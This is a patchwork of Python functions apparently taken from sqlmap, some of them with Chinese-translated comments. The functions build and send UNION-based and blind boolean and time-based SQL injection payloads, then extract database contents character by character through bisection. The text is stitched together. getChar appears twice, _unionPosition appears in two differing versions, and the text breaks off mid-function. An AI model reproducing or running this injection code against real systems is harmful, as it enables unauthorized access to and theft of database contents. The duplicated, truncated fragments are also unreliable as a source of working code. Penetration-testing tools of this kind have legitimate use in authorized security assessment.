def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve( "%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.jsonAggMode: injExpression = unescaper.escape( agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] # Note: introduced columns in 1.4.2.42#dev try: kb.tableFrom = vector[9] kb.unionTemplate = vector[10] except IndexError: pass query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[ 6] else: injExpression = unescaper.escape(expression) where = vector[6] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) if kb.jsonAggMode: for _page in (page or "", (page or "").replace('\\"', '"')): if Backend.isDbms(DBMS.MSSQL): output = extractRegexResult( r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: try: retVal = "" fields = re.findall( r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output)) for row in json.loads(output): retVal += "%s%s%s" % ( kb.chars.start, kb.chars.delimiter.join( getUnicode(row[field] or NULL) for field in fields), kb.chars.stop) except: pass else: retVal = getUnicode(retVal) elif Backend.isDbms(DBMS.PGSQL): output = extractRegexResult( r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: retVal = output else: output = extractRegexResult( r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: try: retVal = "" for row in json.loads(output): retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) except: pass else: retVal = getUnicode(retVal) if retVal: break else: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return firstNotNone( extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult( regex, removeReflectiveValues( listToStrValue(( _ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI) ) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlUnescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.jsonAggMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) elif re.search(r"ORDER BY [^ ]+\Z", expression): debugMsg = "retrying failed SQL query without the ORDER BY clause" singleTimeDebugMessage(debugMsg) expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) retVal = _oneShotUnionUse(expression, unpack, limited) elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) singleTimeDebugMessage(debugMsg) kb.nchar = False retVal = _oneShotUnionUse(expression, unpack, limited) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False while len(charTbl) != 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if retried < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # If we are working with non-continuous elements, both minValue and character after # are possible candidates for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = range(0, count) # Unbiased approach for searching appropriate usable column random.shuffle(positions) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target URL is # affected by an exploitable union SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(UNION_MIN_RESPONSE_CHARS) phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS) phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warn(warnMsg) vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" logger.warn(warnMsg) else: break return validPayload, vector
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = range(0, count) # Unbiased approach for searching appropriate usable column random.shuffle(positions) for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): if vector: break # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target URL is # affected by an exploitable union SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(charCount) phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(charCount) phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection query = agent.forgeUnionQuery( randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % ( page or "", listToStrValue(headers.headers if headers else None) or "") if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join( "SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms( ), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content.count(phrase) > 0 and content.count( phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warn(warnMsg) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % ( position + 1) warnMsg += "column with better characteristics" logger.warn(warnMsg) else: break return validPayload, vector
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ 可用于在受影响的主机上执行盲目SQL注入的二分法 """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # 如果使用"common prediction"功能(a.k.a.“good samaritan”)或从API调用引擎,请设置kb.partRunSet if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar *= 2 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar # 二分算法中输入(入口)的最大 (多线程) 长度 # MAX_BISECTION_LENGTH = 50 * 1024 * 1024 if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) or 1 if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = u"多线程在基于时间的数据检索中被认为是不安全的,自动关闭它" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = u"启动%d个线程 %s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = u"运行在单线程模式,请考虑使用选项“-threads”来更快的检索数据。" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not conf.api: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = agent.extractPayload(payload) forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ 用于推理——在基于时间的SQL注入中,如果原始值和检索的值不相等,会延迟响应时间。 """ validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "在验证阶段检测到的HTTP代码'%s'与预期的'%s'不同" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder意味着每两个相邻的数值之间的距离正好是1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # 用于逐渐扩展到unicode字符空间 shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False while len(charTbl) != 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # 在多线程环境中不可用 if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # 如果当前值倾斜到0,则最好使用最后一个字符检查 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = u"检测到意外的HTTP代码 '%s',在类似情况下使用(额外)验证步骤。" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - 用于内存/空间优化的扩展虚拟字符集 charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # 超越原来的字符集 elif minValue == maxChar: # 如果原来的charTbl是[0,..,127] # 新的一个将是[128,..,(128 << 4) - 1]或128到2047 # 而不是使用所有元素制作一个巨大的列表, # 我们使用一个xrange,它是一个虚拟列表 if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 # 推断重新验证字符的最大次数(根据需要) # MAX_REVALIDATION_STEPS = 5 if retried < MAX_REVALIDATION_STEPS: errMsg = u"检测到无效字符,重试.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = u"时间延迟增加到%d秒%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = u"关闭时间自动调整机制" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = u"无法正确验证最后一个字符值('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = u"时间自动调整机制" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # 如果我们正在使用非连续元素,那么minValue和character之后都是可能的候选者 for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None # Go 多线程 (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # 作为python嵌套函数范围的列表 threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta and not conf.api: _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # 如果我们没有正确抓取一个字符,可能意味着与目标URL的连接丢失 if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = u"\r[%s] [INFO] 部分检索: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = u"\r[%s] [INFO] 检索: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api: dataToStdout(infoMsg) # No 多线程 (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 charStart = time.time() # 常见的预测功能 (a.k.a. "good samaritan") # NOTE: 注意:仅当暂时未设置多线程时使用 if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None 